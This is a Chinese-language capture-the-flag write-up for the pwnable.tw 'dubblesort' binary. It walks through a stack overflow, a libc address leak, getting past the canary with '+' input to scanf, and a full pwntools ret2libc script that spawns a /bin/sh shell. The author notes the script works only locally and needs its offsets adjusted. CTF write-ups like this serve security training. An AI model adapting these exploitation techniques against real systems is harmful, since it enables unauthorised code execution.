pwnable.tw dubblesort

栈溢出

程序分析

查看开启的保护的时候发现全开了,先设置下程序所需的libc位置

1
export LD_PRELOAD="/root/Desktop/libc_32.so.6"

main函数主要功能是打印相关信息及输入输出,process函数对输入的数据进行排序
QQ截图20170809224111.jpg-32.9kB

可以看到程序并没有对数组的个数进行限制,所以存在栈溢出,ret2libc需要泄露地址和绕过canary,但是好像并没有其他的利用点了

泄露地址

在程序运行的时候发现输出用户名时存在地址泄露,原因是因为read函数输入时并不会在字符串后自动补0,所以我们输入的数据为数据+\n,但是在输出的时候在遇到\x00时才会停止输出,所以可以泄露出栈上的一部分数据

查看frame中的内容时发现在输入数据后存在一个libc中存在的地址
QQ截图20170809230224.jpg-77.7kB
我们可以通过算出这个地址与libc基址的偏移,在输出时通过减去偏移地址获得libc加载的基地址,地址泄露成功

绕过canary

1
2
3
4
5
6
7
8
#include <stdio.h>
int main()
{
int num;
scanf("%d",&num);
printf("%d\n",num);
return 0;
}

运行上面的程序
QQ截图20170809231256.jpg-15.3kB
可以看到在输入字母的时候,scanf并不会输入,仍是打印栈中的原值,而+1会被当做1处理,说明+被当做了正号,而输入+是源程序栈中的数据无变化,所以通过在指定位置输入+可以绕过canary

还有一点就是输入的数据会排序,所以必须确保在排序后满足

1
2
3
4
5
+------+--------+-------+-------+-------+--------+
| | | | | | |
|......| canary |.......|system | fake | /bin/sh|
| | | | | | |
+------+--------+-------+-------+-------+--------+

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from pwn import *
#context(log_level='debug')
io = process('./dubblesort')
io.recvuntil(":")
io.sendline('a'*25)
io.recvuntil("\n")
ret = u32("\x00\x00"+io.recv(2))
libc_addr = ret - 0x1b0000
libc = ELF('./libc_32.so.6')
system_addr = libc_addr + libc.symbols['system']
log.info('system at {}'.format(hex(system_addr)))
binsh_addr = system_addr - (libc.symbols['system'] - next(libc.search('/bin/sh')))
log.info('binsh at {}'.format(hex(binsh_addr)))
#raw_input()
io.sendline("35")
for i in xrange(24):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline("+")
for i in xrange(9):
io.recvuntil(":")
io.sendline(str(system_addr))
io.sendline(str(binsh_addr))
io.interactive()

实际上我的脚本只能在本机成功,后来发现别人泄露的地址是后面只有一个\x00,而我的是两个,写的时候覆盖的范围和接收的也应该改一下

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 程序分析
    1. 1.1. 泄露地址
    2. 1.2. 绕过canary
  2. 2. 利用脚本
,